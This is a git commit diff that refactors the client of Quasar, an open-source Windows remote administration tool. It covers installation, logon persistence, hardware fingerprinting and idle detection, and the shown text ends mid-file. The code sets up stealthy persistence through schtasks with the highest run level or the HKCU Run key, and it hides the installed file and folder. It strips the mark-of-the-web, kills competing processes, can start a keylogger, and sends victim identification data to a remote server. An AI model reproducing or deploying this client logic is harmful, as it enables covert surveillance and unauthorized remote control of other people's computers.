Refactor client installation and startup

This commit is contained in:
MaxXor 2020-05-27 22:21:40 +02:00
parent 547ab1feef
commit 7e3175664d
26 changed files with 548 additions and 386 deletions

View File

@ -0,0 +1,19 @@
using Quasar.Client.Utilities;
using System.Diagnostics;
using System.Text;
namespace Quasar.Client.Extensions
{
public static class ProcessExtensions
{
public static string GetMainModuleFileName(this Process proc)
{
uint nChars = 260;
StringBuilder buffer = new StringBuilder((int)nChars);
var success = NativeMethods.QueryFullProcessImageName(proc.Handle, 0, buffer, ref nChars);
return success ? buffer.ToString() : null;
}
}
}

View File

@ -1,8 +1,8 @@
using System;
using Quasar.Client.Utilities;
using System;
using System.Drawing;
using System.Runtime.InteropServices;
using System.Text;
using Quasar.Client.Utilities;
namespace Quasar.Client.Helper
{
@ -21,8 +21,8 @@ public static uint GetLastInputInfoTickCount()
NativeMethods.LASTINPUTINFO lastInputInfo = new NativeMethods.LASTINPUTINFO();
lastInputInfo.cbSize = (uint) Marshal.SizeOf(lastInputInfo);
lastInputInfo.dwTime = 0;
return NativeMethods.GetLastInputInfo(ref lastInputInfo) ? lastInputInfo.dwTime : 0;
NativeMethods.GetLastInputInfo(ref lastInputInfo);
return lastInputInfo.dwTime;
}
public static void DoMouseLeftClick(Point p, bool isMouseDown)

View File

@ -1,33 +0,0 @@
using System;
using System.Security.Principal;
namespace Quasar.Client.Helper
{
public static class WindowsAccountHelper
{
public static string GetName()
{
return Environment.UserName;
}
public static string GetAccountType()
{
using (WindowsIdentity identity = WindowsIdentity.GetCurrent())
{
if (identity != null)
{
WindowsPrincipal principal = new WindowsPrincipal(identity);
if (principal.IsInRole(WindowsBuiltInRole.Administrator))
return "Admin";
if (principal.IsInRole(WindowsBuiltInRole.User))
return "User";
if (principal.IsInRole(WindowsBuiltInRole.Guest))
return "Guest";
}
}
return "Unknown";
}
}
}

View File

@ -6,18 +6,85 @@
using System.Net.NetworkInformation;
using System.Net.Sockets;
namespace Quasar.Client.Helper
namespace Quasar.Client.IO
{
public static class DevicesHelper
/// <summary>
/// Provides access to retrieve information about the used hardware devices.
/// </summary>
/// <remarks>Caches the retrieved information to reduce the slowdown of the slow WMI queries.</remarks>
public static class HardwareDevices
{
public static string HardwareId { get; private set; }
/// <summary>
/// Gets a unique hardware id as a combination of various hardware components.
/// </summary>
public static string HardwareId => _hardwareId ?? (_hardwareId = Sha256.ComputeHash(CpuName + MainboardName + BiosManufacturer));
static DevicesHelper()
{
HardwareId = Sha256.ComputeHash(GetCpuName() + GetMainboardIdentifier() + GetBiosIdentifier());
}
/// <summary>
/// Used to cache the hardware id.
/// </summary>
private static string _hardwareId;
public static string GetBiosIdentifier()
/// <summary>
/// Gets the name of the system CPU.
/// </summary>
public static string CpuName => _cpuName ?? (_cpuName = GetCpuName());
/// <summary>
/// Used to cache the CPU name.
/// </summary>
private static string _cpuName;
/// <summary>
/// Gets the name of the GPU.
/// </summary>
public static string GpuName => _gpuName ?? (_gpuName = GetGpuName());
/// <summary>
/// Used to cache the GPU name.
/// </summary>
private static string _gpuName;
/// <summary>
/// Gets the name of the BIOS manufacturer.
/// </summary>
public static string BiosManufacturer => _biosManufacturer ?? (_biosManufacturer = GetBiosManufacturer());
/// <summary>
/// Used to cache the BIOS manufacturer.
/// </summary>
private static string _biosManufacturer;
/// <summary>
/// Gets the name of the mainboard.
/// </summary>
public static string MainboardName => _mainboardName ?? (_mainboardName = GetMainboardName());
/// <summary>
/// Used to cache the mainboard name.
/// </summary>
private static string _mainboardName;
/// <summary>
/// Gets the total physical memory of the system in megabytes (MB).
/// </summary>
public static int? TotalPhysicalMemory => _totalPhysicalMemory ?? (_totalPhysicalMemory = GetTotalPhysicalMemoryInMb());
/// <summary>
/// Used to cache the total physical memory.
/// </summary>
private static int? _totalPhysicalMemory;
/// <summary>
/// Gets the LAN IP address of the network interface.
/// </summary>
public static string LanIpAddress => GetLanIpAddress();
/// <summary>
/// Gets the MAC address of the network interface.
/// </summary>
public static string MacAddress => GetMacAddress();
private static string GetBiosManufacturer()
{
try
{
@ -42,7 +109,7 @@ public static string GetBiosIdentifier()
return "Unknown";
}
public static string GetMainboardIdentifier()
private static string GetMainboardName()
{
try
{
@ -53,7 +120,7 @@ public static string GetMainboardIdentifier()
{
foreach (ManagementObject mObject in searcher.Get())
{
mainboardIdentifier = mObject["Manufacturer"].ToString() + mObject["SerialNumber"].ToString();
mainboardIdentifier = mObject["Manufacturer"].ToString() + " " + mObject["Product"].ToString();
break;
}
}
@ -67,7 +134,7 @@ public static string GetMainboardIdentifier()
return "Unknown";
}
public static string GetCpuName()
private static string GetCpuName()
{
try
{
@ -92,7 +159,7 @@ public static string GetCpuName()
return "Unknown";
}
public static int GetTotalRamAmount()
private static int GetTotalPhysicalMemoryInMb()
{
try
{
@ -104,7 +171,7 @@ public static int GetTotalRamAmount()
foreach (ManagementObject mObject in searcher.Get())
{
double bytes = (Convert.ToDouble(mObject["TotalPhysicalMemory"]));
installedRAM = (int)(bytes / 1048576);
installedRAM = (int)(bytes / 1048576); // bytes to MB
break;
}
}
@ -117,7 +184,7 @@ public static int GetTotalRamAmount()
}
}
public static string GetGpuName()
private static string GetGpuName()
{
try
{
@ -141,8 +208,9 @@ public static string GetGpuName()
}
}
public static string GetLanIp()
private static string GetLanIpAddress()
{
// TODO: support multiple network interfaces
foreach (NetworkInterface ni in NetworkInterface.GetAllNetworkInterfaces())
{
GatewayIPAddressInformation gatewayAddress = ni.GetIPProperties().GatewayAddresses.FirstOrDefault();
@ -167,7 +235,7 @@ public static string GetLanIp()
return "-";
}
public static string GetMacAddress()
private static string GetMacAddress()
{
foreach (NetworkInterface ni in NetworkInterface.GetAllNetworkInterfaces())
{
@ -182,7 +250,7 @@ public static string GetMacAddress()
ip.AddressPreferredLifetime == UInt32.MaxValue) // exclude virtual network addresses
continue;
foundCorrect = (ip.Address.ToString() == GetLanIp());
foundCorrect = (ip.Address.ToString() == GetLanIpAddress());
}
if (foundCorrect)

View File

@ -21,7 +21,7 @@ public KeyloggerService()
});
}
public void StartService()
public void Start()
{
_msgLoopThread.Start();
}

View File

@ -1,4 +1,5 @@
using Quasar.Client.Config;
using System;
using Quasar.Client.Config;
using Quasar.Client.Helper;
using Quasar.Client.Networking;
using Quasar.Client.Setup;
@ -7,6 +8,8 @@
using Quasar.Common.Networking;
using System.Diagnostics;
using System.Windows.Forms;
using Quasar.Client.User;
using Quasar.Common.Enums;
namespace Quasar.Client.Messages
{
@ -54,8 +57,15 @@ public override void Execute(ISender sender, IMessage message)
private void Execute(ISender client, DoClientUninstall message)
{
client.Send(new SetStatus { Message = "Uninstalling... good bye :-(" });
new ClientUninstaller().Uninstall(client);
try
{
new ClientUninstaller().Uninstall();
_client.Exit();
}
catch (Exception ex)
{
client.Send(new SetStatus { Message = $"Uninstall failed: {ex.Message}" });
}
}
private void Execute(ISender client, DoClientDisconnect message)
@ -70,7 +80,8 @@ private void Execute(ISender client, DoClientReconnect message)
private void Execute(ISender client, DoAskElevate message)
{
if (WindowsAccountHelper.GetAccountType() != "Admin")
var userAccount = new UserAccount();
if (userAccount.Type != AccountType.Admin)
{
ProcessStartInfo processStartInfo = new ProcessStartInfo
{

View File

@ -1,5 +1,5 @@
using Quasar.Client.Networking;
using Quasar.Client.Utilities;
using Quasar.Common;
using Quasar.Common.Enums;
using Quasar.Common.Extensions;
using Quasar.Common.Helpers;

View File

@ -1,11 +1,13 @@
using Quasar.Client.Helper;
using Quasar.Client.IpGeoLocation;
using Quasar.Client.User;
using Quasar.Common.Messages;
using Quasar.Common.Networking;
using System;
using System.Collections.Generic;
using System.IO;
using System.Net.NetworkInformation;
using Quasar.Client.IO;
namespace Quasar.Client.Messages
{
@ -39,21 +41,22 @@ private void Execute(ISender client, GetSystemInfo message)
var hostName = (!string.IsNullOrEmpty(properties.HostName)) ? properties.HostName : "-";
var geoInfo = GeoInformationFactory.GetGeoInformation();
var userAccount = new UserAccount();
List<Tuple<string, string>> lstInfos = new List<Tuple<string, string>>
{
new Tuple<string, string>("Processor (CPU)", DevicesHelper.GetCpuName()),
new Tuple<string, string>("Memory (RAM)", $"{DevicesHelper.GetTotalRamAmount()} MB"),
new Tuple<string, string>("Video Card (GPU)", DevicesHelper.GetGpuName()),
new Tuple<string, string>("Username", WindowsAccountHelper.GetName()),
new Tuple<string, string>("Processor (CPU)", HardwareDevices.CpuName),
new Tuple<string, string>("Memory (RAM)", $"{HardwareDevices.TotalPhysicalMemory} MB"),
new Tuple<string, string>("Video Card (GPU)", HardwareDevices.GpuName),
new Tuple<string, string>("Username", userAccount.UserName),
new Tuple<string, string>("PC Name", SystemHelper.GetPcName()),
new Tuple<string, string>("Domain Name", domainName),
new Tuple<string, string>("Host Name", hostName),
new Tuple<string, string>("System Drive", Path.GetPathRoot(Environment.SystemDirectory)),
new Tuple<string, string>("System Directory", Environment.SystemDirectory),
new Tuple<string, string>("Uptime", SystemHelper.GetUptime()),
new Tuple<string, string>("MAC Address", DevicesHelper.GetMacAddress()),
new Tuple<string, string>("LAN IP Address", DevicesHelper.GetLanIp()),
new Tuple<string, string>("MAC Address", HardwareDevices.MacAddress),
new Tuple<string, string>("LAN IP Address", HardwareDevices.LanIpAddress),
new Tuple<string, string>("WAN IP Address", geoInfo.IpAddress),
new Tuple<string, string>("ASN", geoInfo.Asn),
new Tuple<string, string>("ISP", geoInfo.Isp),

View File

@ -1,6 +1,6 @@
using Quasar.Client.Networking;
using Quasar.Client.Setup;
using Quasar.Client.Utilities;
using Quasar.Common;
using Quasar.Common.Enums;
using Quasar.Common.Helpers;
using Quasar.Common.Messages;
@ -97,20 +97,23 @@ private void Execute(ISender client, DoProcessStart message)
}
}
try
if (message.IsUpdate)
{
if (message.IsUpdate)
try
{
if (ClientUpdater.Update(client, filePath))
{
_client.Exit();
}
else
{
throw new Exception("Update failed");
}
var clientUpdater = new ClientUpdater();
clientUpdater.Update(filePath);
_client.Exit();
}
else
catch (Exception ex)
{
NativeMethods.DeleteFile(filePath);
client.Send(new SetStatus { Message = $"Update failed: {ex.Message}" });
}
}
else
{
try
{
ProcessStartInfo startInfo = new ProcessStartInfo
{
@ -118,12 +121,13 @@ private void Execute(ISender client, DoProcessStart message)
FileName = filePath
};
Process.Start(startInfo);
client.Send(new DoProcessResponse {Action = ProcessAction.Start, Result = true});
}
client.Send(new DoProcessResponse { Action = ProcessAction.Start, Result = true });
}
catch
{
client.Send(new DoProcessResponse { Action = ProcessAction.Start, Result = false });
catch (Exception)
{
client.Send(new DoProcessResponse {Action = ProcessAction.Start, Result = false});
}
}
}).Start();
}

View File

@ -1,6 +1,9 @@
using Quasar.Client.Config;
using Quasar.Client.Helper;
using Quasar.Client.IO;
using Quasar.Client.IpGeoLocation;
using Quasar.Client.User;
using Quasar.Common.DNS;
using Quasar.Common.Helpers;
using Quasar.Common.Messages;
using Quasar.Common.Utilities;
@ -8,8 +11,6 @@
using System.Diagnostics;
using System.Security.Cryptography.X509Certificates;
using System.Threading;
using System.Windows.Forms;
using Quasar.Common.DNS;
namespace Quasar.Client.Networking
{
@ -40,21 +41,14 @@ public void ConnectLoop()
{
if (!Connected)
{
Thread.Sleep(100 + _random.Next(0, 250));
Host host = _hosts.GetNextHost();
base.Connect(host.IpAddress, host.Port);
Thread.Sleep(200);
Application.DoEvents();
}
while (Connected) // hold client open
{
Application.DoEvents();
Thread.Sleep(2500);
Thread.Sleep(1000);
}
if (Exiting)
@ -97,17 +91,18 @@ private void OnClientState(Client client, bool connected)
// send client identification once connected
var geoInfo = GeoInformationFactory.GetGeoInformation();
var userAccount = new UserAccount();
client.Send(new ClientIdentification
{
Version = Settings.VERSION,
OperatingSystem = PlatformHelper.FullName,
AccountType = WindowsAccountHelper.GetAccountType(),
AccountType = nameof(userAccount.Type),
Country = geoInfo.Country,
CountryCode = geoInfo.CountryCode,
ImageIndex = geoInfo.ImageIndex,
Id = DevicesHelper.HardwareId,
Username = WindowsAccountHelper.GetName(),
Id = HardwareDevices.HardwareId,
Username = userAccount.UserName,
PcName = SystemHelper.GetPcName(),
Tag = Settings.TAG,
EncryptionKey = Settings.ENCRYPTIONKEY,

View File

@ -14,7 +14,10 @@ private static void Main(string[] args)
Application.EnableVisualStyles();
Application.SetCompatibleTextRenderingDefault(false);
new QuasarApplication().Run();
using (var app = new QuasarApplication())
{
app.Run();
}
}
}
}

View File

@ -4,6 +4,7 @@
using Quasar.Client.Messages;
using Quasar.Client.Networking;
using Quasar.Client.Setup;
using Quasar.Client.User;
using Quasar.Client.Utilities;
using Quasar.Common.DNS;
using Quasar.Common.Helpers;
@ -11,70 +12,124 @@
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.IO;
using System.Windows.Forms;
namespace Quasar.Client
{
public class QuasarApplication
/// <summary>
/// The client application which handles basic bootstrapping of the message processors and background tasks.
/// </summary>
public class QuasarApplication : IDisposable
{
/// <summary>
/// A system-wide mutex that ensures that only one instance runs at a time.
/// </summary>
public SingleInstanceMutex ApplicationMutex;
/// <summary>
/// The client used for the connection to the server.
/// </summary>
public QuasarClient ConnectClient;
/// <summary>
/// List of <see cref="IMessageProcessor"/> to keep track of all used message processors.
/// </summary>
private readonly List<IMessageProcessor> _messageProcessors;
/// <summary>
/// The background keylogger service used to capture and store keystrokes.
/// </summary>
private KeyloggerService _keyloggerService;
/// <summary>
/// Keeps track of the user activity.
/// </summary>
private ActivityDetection _userActivityDetection;
/// <summary>
/// Determines whether an installation is required depending on the current and target paths.
/// </summary>
private bool IsInstallationRequired => Settings.INSTALL && Settings.INSTALLPATH != Application.ExecutablePath;
/// <summary>
/// Initializes a new instance of the <see cref="QuasarApplication"/> class.
/// </summary>
public QuasarApplication()
{
AppDomain.CurrentDomain.UnhandledException += HandleUnhandledException;
_messageProcessors = new List<IMessageProcessor>();
}
/// <summary>
/// Begins running the application.
/// </summary>
public void Run()
{
// decrypt and verify the settings
if (Settings.Initialize())
if (!Settings.Initialize()) return;
ApplicationMutex = new SingleInstanceMutex(Settings.MUTEX);
// check if process with same mutex is already running on system
if (!ApplicationMutex.CreatedNew) return;
FileHelper.DeleteZoneIdentifier(Application.ExecutablePath);
var installer = new ClientInstaller();
if (IsInstallationRequired)
{
ApplicationMutex = new SingleInstanceMutex(Settings.MUTEX);
// close mutex before installing the client
ApplicationMutex.Dispose();
// check if process with same mutex is already running on system
if (ApplicationMutex.CreatedNew)
try
{
FileHelper.DeleteZoneIdentifier(Application.ExecutablePath);
if (IsInstallationRequired)
{
// close mutex before installing the client
ApplicationMutex.Dispose();
new ClientInstaller().Install();
}
else
{
// (re)apply settings and proceed with connect loop
ApplySettings();
var hosts = new HostsManager(new HostsConverter().RawHostsToList(Settings.HOSTS));
ConnectClient = new QuasarClient(hosts, Settings.SERVERCERTIFICATE);
InitializeMessageProcessors(ConnectClient);
ConnectClient.ConnectLoop();
}
installer.Install();
}
catch (Exception e)
{
Debug.WriteLine(e);
}
}
else
{
try
{
// (re)apply settings and proceed with connect loop
installer.ApplySettings();
}
catch (Exception e)
{
Debug.WriteLine(e);
}
Cleanup();
Exit();
}
private static void Exit()
{
// Don't wait for other threads
Environment.Exit(0);
if (Settings.ENABLELOGGER)
{
_keyloggerService = new KeyloggerService();
_keyloggerService.Start();
}
var hosts = new HostsManager(new HostsConverter().RawHostsToList(Settings.HOSTS));
ConnectClient = new QuasarClient(hosts, Settings.SERVERCERTIFICATE);
InitializeMessageProcessors(ConnectClient);
_userActivityDetection = new ActivityDetection(ConnectClient);
_userActivityDetection.Start();
ConnectClient.ConnectLoop();
}
}
/// <summary>
/// Handles unhandled exceptions by restarting the application and hoping that they don't happen again.
/// </summary>
/// <param name="sender">The source of the unhandled exception event.</param>
/// <param name="e">The exception event arguments. </param>
private static void HandleUnhandledException(object sender, UnhandledExceptionEventArgs e)
{
if (e.IsTerminating)
{
Debug.WriteLine(e);
string batchFile = BatchFile.CreateRestartBatch(Application.ExecutablePath);
if (string.IsNullOrEmpty(batchFile)) return;
@ -85,17 +140,14 @@ private static void HandleUnhandledException(object sender, UnhandledExceptionEv
FileName = batchFile
};
Process.Start(startInfo);
Exit();
Environment.Exit(0);
}
}
private void Cleanup()
{
CleanupMessageProcessors();
_keyloggerService?.Dispose();
ApplicationMutex.Dispose();
}
/// <summary>
/// Adds all message processors to <see cref="_messageProcessors"/> and registers them in the <see cref="MessageHandler"/>.
/// </summary>
/// <param name="client">The client which handles the connection.</param>
private void InitializeMessageProcessors(QuasarClient client)
{
_messageProcessors.Add(new ClientServicesHandler(this, client));
@ -112,13 +164,15 @@ private void InitializeMessageProcessors(QuasarClient client)
_messageProcessors.Add(new SystemInformationHandler());
_messageProcessors.Add(new TaskManagerHandler(client));
_messageProcessors.Add(new TcpConnectionsHandler(client));
_messageProcessors.Add(new UserStatusHandler(client));
_messageProcessors.Add(new WebsiteVisitorHandler());
foreach (var msgProc in _messageProcessors)
MessageHandler.Register(msgProc);
}
/// <summary>
/// Disposes all message processors of <see cref="_messageProcessors"/> and unregisters them from the <see cref="MessageHandler"/>.
/// </summary>
private void CleanupMessageProcessors()
{
foreach (var msgProc in _messageProcessors)
@ -128,44 +182,28 @@ private void CleanupMessageProcessors()
}
}
private void ApplySettings()
/// <summary>
/// Releases all resources used by this <see cref="QuasarApplication"/>.
/// </summary>
public void Dispose()
{
FileHelper.DeleteZoneIdentifier(Application.ExecutablePath);
Dispose(true);
GC.SuppressFinalize(this);
}
if (Settings.STARTUP)
/// <summary>
/// Releases all allocated message processors, services and other resources.
/// </summary>
/// <param name="disposing"><c>True</c> if called from <see cref="Dispose"/>, <c>false</c> if called from the finalizer.</param>
protected virtual void Dispose(bool disposing)
{
if (disposing)
{
Startup.AddToStartup();
}
if (Settings.INSTALL && Settings.HIDEFILE)
{
try
{
File.SetAttributes(Application.ExecutablePath, FileAttributes.Hidden);
}
catch (Exception)
{
}
}
if (Settings.INSTALL && Settings.HIDEINSTALLSUBDIRECTORY && !string.IsNullOrEmpty(Settings.SUBDIRECTORY))
{
try
{
DirectoryInfo di = new DirectoryInfo(Path.GetDirectoryName(Settings.INSTALLPATH));
di.Attributes |= FileAttributes.Hidden;
}
catch (Exception)
{
}
}
if (Settings.ENABLELOGGER)
{
_keyloggerService = new KeyloggerService();
_keyloggerService.StartService();
CleanupMessageProcessors();
_keyloggerService?.Dispose();
_userActivityDetection?.Dispose();
ApplicationMutex.Dispose();
}
}
}
}

View File

@ -1,4 +1,5 @@
using Quasar.Client.Config;
using Quasar.Client.Extensions;
using Quasar.Common.Helpers;
using System;
using System.Diagnostics;
@ -8,25 +9,50 @@
namespace Quasar.Client.Setup
{
public class ClientInstaller
public class ClientInstaller : ClientSetupBase
{
public void Install()
public void ApplySettings()
{
bool isKilled = false;
if (Settings.STARTUP)
{
var clientStartup = new ClientStartup();
clientStartup.AddToStartup(Application.ExecutablePath, Settings.STARTUPKEY);
}
// create target dir
if (!Directory.Exists(Path.GetDirectoryName(Settings.INSTALLPATH)))
if (Settings.INSTALL && Settings.HIDEFILE)
{
try
{
Directory.CreateDirectory(Path.GetDirectoryName(Settings.INSTALLPATH));
File.SetAttributes(Application.ExecutablePath, FileAttributes.Hidden);
}
catch (Exception)
catch (Exception ex)
{
return;
Debug.WriteLine(ex);
}
}
if (Settings.INSTALL && Settings.HIDEINSTALLSUBDIRECTORY && !string.IsNullOrEmpty(Settings.SUBDIRECTORY))
{
try
{
DirectoryInfo di = new DirectoryInfo(Path.GetDirectoryName(Settings.INSTALLPATH));
di.Attributes |= FileAttributes.Hidden;
}
catch (Exception ex)
{
Debug.WriteLine(ex);
}
}
}
public void Install()
{
// create target dir
if (!Directory.Exists(Path.GetDirectoryName(Settings.INSTALLPATH)))
{
Directory.CreateDirectory(Path.GetDirectoryName(Settings.INSTALLPATH));
}
// delete existing file
if (File.Exists(Settings.INSTALLPATH))
{
@ -38,47 +64,27 @@ public void Install()
{
if (ex is IOException || ex is UnauthorizedAccessException)
{
// kill old process if new mutex
// kill old process running at destination path
Process[] foundProcesses =
Process.GetProcessesByName(Path.GetFileNameWithoutExtension(Settings.INSTALLPATH));
int myPid = Process.GetCurrentProcess().Id;
foreach (var prc in foundProcesses)
{
// dont kill own process
if (prc.Id == myPid) continue;
// only kill the process at the destination path
if (prc.GetMainModuleFileName() != Settings.INSTALLPATH) continue;
prc.Kill();
isKilled = true;
Thread.Sleep(2000);
break;
}
}
}
}
if (isKilled) Thread.Sleep(5000);
File.Copy(Application.ExecutablePath, Settings.INSTALLPATH, true);
//copy client to target dir
try
{
File.Copy(Application.ExecutablePath, Settings.INSTALLPATH, true);
}
catch (Exception)
{
return;
}
if (Settings.STARTUP)
{
Startup.AddToStartup();
}
if (Settings.HIDEFILE)
{
try
{
File.SetAttributes(Settings.INSTALLPATH, FileAttributes.Hidden);
}
catch (Exception)
{
}
}
ApplySettings();
FileHelper.DeleteZoneIdentifier(Settings.INSTALLPATH);
@ -90,13 +96,7 @@ public void Install()
UseShellExecute = false,
FileName = Settings.INSTALLPATH
};
try
{
Process.Start(startInfo);
}
catch (Exception)
{
}
Process.Start(startInfo);
}
}
}

View File

@ -0,0 +1,14 @@
using Quasar.Client.User;
namespace Quasar.Client.Setup
{
public abstract class ClientSetupBase
{
protected UserAccount UserAccount;
protected ClientSetupBase()
{
UserAccount = new UserAccount();
}
}
}

View File

@ -0,0 +1,52 @@
using Microsoft.Win32;
using Quasar.Client.Helper;
using Quasar.Common.Enums;
using System.Diagnostics;
namespace Quasar.Client.Setup
{
public class ClientStartup : ClientSetupBase
{
public void AddToStartup(string executablePath, string startupName)
{
if (UserAccount.Type == AccountType.Admin)
{
ProcessStartInfo startInfo = new ProcessStartInfo("schtasks")
{
Arguments = "/create /tn \"" + startupName + "\" /sc ONLOGON /tr \"" + executablePath +
"\" /rl HIGHEST /f",
UseShellExecute = false,
CreateNoWindow = true
};
Process p = Process.Start(startInfo);
p.WaitForExit(1000);
if (p.ExitCode == 0) return;
}
RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.CurrentUser,
"Software\\Microsoft\\Windows\\CurrentVersion\\Run", startupName, executablePath,
true);
}
public void RemoveFromStartup(string startupName)
{
if (UserAccount.Type == AccountType.Admin)
{
ProcessStartInfo startInfo = new ProcessStartInfo("schtasks")
{
Arguments = "/delete /tn \"" + startupName + "\" /f",
UseShellExecute = false,
CreateNoWindow = true
};
Process p = Process.Start(startInfo);
p.WaitForExit(1000);
if (p.ExitCode == 0) return;
}
RegistryKeyHelper.DeleteRegistryKeyValue(RegistryHive.CurrentUser,
"Software\\Microsoft\\Windows\\CurrentVersion\\Run", startupName);
}
}
}

View File

@ -1,42 +1,33 @@
using Quasar.Client.Config;
using Quasar.Client.IO;
using Quasar.Common.Messages;
using Quasar.Common.Networking;
using System;
using System.Diagnostics;
using System.Windows.Forms;
namespace Quasar.Client.Setup
{
public class ClientUninstaller
public class ClientUninstaller : ClientSetupBase
{
public bool Uninstall(ISender client)
public void Uninstall()
{
try
if (Settings.STARTUP)
{
if (Settings.STARTUP)
Startup.RemoveFromStartup();
string batchFile = BatchFile.CreateUninstallBatch(Application.ExecutablePath, Settings.LOGSPATH);
if (string.IsNullOrEmpty(batchFile))
throw new Exception("Could not create uninstall-batch file");
ProcessStartInfo startInfo = new ProcessStartInfo
{
WindowStyle = ProcessWindowStyle.Hidden,
UseShellExecute = true,
FileName = batchFile
};
Process.Start(startInfo);
return true;
var clientStartup = new ClientStartup();
clientStartup.RemoveFromStartup(Settings.STARTUPKEY);
}
catch (Exception ex)
string batchFile = BatchFile.CreateUninstallBatch(Application.ExecutablePath, Settings.LOGSPATH);
if (string.IsNullOrEmpty(batchFile))
throw new Exception("Could not create uninstall-batch file.");
ProcessStartInfo startInfo = new ProcessStartInfo
{
client.Send(new SetStatus {Message = $"Uninstall failed: {ex.Message}"});
return false;
}
WindowStyle = ProcessWindowStyle.Hidden,
UseShellExecute = true,
FileName = batchFile
};
Process.Start(startInfo);
}
}
}

View File

@ -1,9 +1,6 @@
using Quasar.Client.Config;
using Quasar.Client.IO;
using Quasar.Client.Utilities;
using Quasar.Common.Helpers;
using Quasar.Common.Messages;
using Quasar.Common.Networking;
using System;
using System.Diagnostics;
using System.IO;
@ -11,41 +8,33 @@
namespace Quasar.Client.Setup
{
public static class ClientUpdater
public class ClientUpdater : ClientSetupBase
{
public static bool Update(ISender client, string newFilePath)
public void Update(string newFilePath)
{
try
FileHelper.DeleteZoneIdentifier(newFilePath);
var bytes = File.ReadAllBytes(newFilePath);
if (!FileHelper.HasExecutableIdentifier(bytes))
throw new Exception("No executable file.");
string batchFile = BatchFile.CreateUpdateBatch(Application.ExecutablePath, newFilePath);
if (string.IsNullOrEmpty(batchFile))
throw new Exception("Could not create update batch file.");
ProcessStartInfo startInfo = new ProcessStartInfo
{
FileHelper.DeleteZoneIdentifier(newFilePath);
WindowStyle = ProcessWindowStyle.Hidden,
UseShellExecute = true,
FileName = batchFile
};
Process.Start(startInfo);
var bytes = File.ReadAllBytes(newFilePath);
if (!FileHelper.HasExecutableIdentifier(bytes))
throw new Exception("no pe file");
string batchFile = BatchFile.CreateUpdateBatch(Application.ExecutablePath, newFilePath);
if (string.IsNullOrEmpty(batchFile))
throw new Exception("Could not create update batch file.");
ProcessStartInfo startInfo = new ProcessStartInfo
{
WindowStyle = ProcessWindowStyle.Hidden,
UseShellExecute = true,
FileName = batchFile
};
Process.Start(startInfo);
if (Settings.STARTUP)
Startup.RemoveFromStartup();
return true;
}
catch (Exception ex)
if (Settings.STARTUP)
{
NativeMethods.DeleteFile(newFilePath);
client.Send(new SetStatus {Message = $"Update failed: {ex.Message}"});
return false;
var clientStartup = new ClientStartup();
clientStartup.RemoveFromStartup(Settings.STARTUPKEY);
}
}
}

View File

@ -1,76 +0,0 @@
using Microsoft.Win32;
using Quasar.Client.Config;
using Quasar.Client.Helper;
using System;
using System.Diagnostics;
using System.Windows.Forms;
namespace Quasar.Client.Setup
{
public static class Startup
{
public static bool AddToStartup()
{
if (WindowsAccountHelper.GetAccountType() == "Admin")
{
try
{
ProcessStartInfo startInfo = new ProcessStartInfo("schtasks")
{
Arguments = "/create /tn \"" + Settings.STARTUPKEY + "\" /sc ONLOGON /tr \"" + Application.ExecutablePath + "\" /rl HIGHEST /f",
UseShellExecute = false,
CreateNoWindow = true
};
Process p = Process.Start(startInfo);
p.WaitForExit(1000);
if (p.ExitCode == 0) return true;
}
catch (Exception)
{
}
return RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.CurrentUser,
"Software\\Microsoft\\Windows\\CurrentVersion\\Run", Settings.STARTUPKEY, Application.ExecutablePath,
true);
}
else
{
return RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.CurrentUser,
"Software\\Microsoft\\Windows\\CurrentVersion\\Run", Settings.STARTUPKEY, Application.ExecutablePath,
true);
}
}
public static bool RemoveFromStartup()
{
if (WindowsAccountHelper.GetAccountType() == "Admin")
{
try
{
ProcessStartInfo startInfo = new ProcessStartInfo("schtasks")
{
Arguments = "/delete /tn \"" + Settings.STARTUPKEY + "\" /f",
UseShellExecute = false,
CreateNoWindow = true
};
Process p = Process.Start(startInfo);
p.WaitForExit(1000);
if (p.ExitCode == 0) return true;
}
catch (Exception)
{
}
return RegistryKeyHelper.DeleteRegistryKeyValue(RegistryHive.CurrentUser,
"Software\\Microsoft\\Windows\\CurrentVersion\\Run", Settings.STARTUPKEY);
}
else
{
return RegistryKeyHelper.DeleteRegistryKeyValue(RegistryHive.CurrentUser,
"Software\\Microsoft\\Windows\\CurrentVersion\\Run", Settings.STARTUPKEY);
}
}
}
}

View File

@ -2,13 +2,12 @@
using Quasar.Client.Networking;
using Quasar.Common.Enums;
using Quasar.Common.Messages;
using Quasar.Common.Networking;
using System.Diagnostics;
using System;
using System.Threading;
namespace Quasar.Client.Messages
namespace Quasar.Client.User
{
public class UserStatusHandler : MessageProcessorBase<object>
public class ActivityDetection : IDisposable
{
public UserStatus LastUserStatus { get; private set; }
@ -18,36 +17,39 @@ public class UserStatusHandler : MessageProcessorBase<object>
private readonly CancellationToken _token;
public UserStatusHandler(QuasarClient client) : base(false)
public ActivityDetection(QuasarClient client)
{
// TODO: handle disconnect
_client = client;
_tokenSource = new CancellationTokenSource();
_token = _tokenSource.Token;
client.ClientState += OnClientStateChange;
}
private void OnClientStateChange(Networking.Client s, bool connected)
{
// reset user status
if (connected)
LastUserStatus = UserStatus.Active;
}
public void Start()
{
new Thread(UserIdleThread) { IsBackground = true }.Start();
}
public override bool CanExecute(IMessage message) => false;
public override bool CanExecuteFrom(ISender sender) => false;
public override void Execute(ISender sender, IMessage message)
public void Dispose()
{
}
protected override void Dispose(bool disposing)
{
if (disposing)
{
_tokenSource.Cancel();
}
_client.ClientState -= OnClientStateChange;
_tokenSource.Cancel();
}
private void UserIdleThread()
{
while (!_token.IsCancellationRequested)
{
Thread.Sleep(1000);
if (_token.WaitHandle.WaitOne(1000))
break;
if (IsUserIdle())
{
if (LastUserStatus != UserStatus.Idle)
@ -65,14 +67,13 @@ private void UserIdleThread()
}
}
}
}
private bool IsUserIdle()
{
long ticks = Stopwatch.GetTimestamp();
var ticks = Environment.TickCount;
long idleTime = ticks - NativeMethodsHelper.GetLastInputInfoTickCount();
var idleTime = ticks - NativeMethodsHelper.GetLastInputInfoTickCount();
idleTime = ((idleTime > 0) ? (idleTime / 1000) : 0);

View File

@ -0,0 +1,38 @@
using Quasar.Common.Enums;
using System.Security.Principal;
namespace Quasar.Client.User
{
public class UserAccount
{
public string UserName { get; }
public AccountType Type { get; }
public UserAccount()
{
using (WindowsIdentity identity = WindowsIdentity.GetCurrent())
{
UserName = identity.Name;
WindowsPrincipal principal = new WindowsPrincipal(identity);
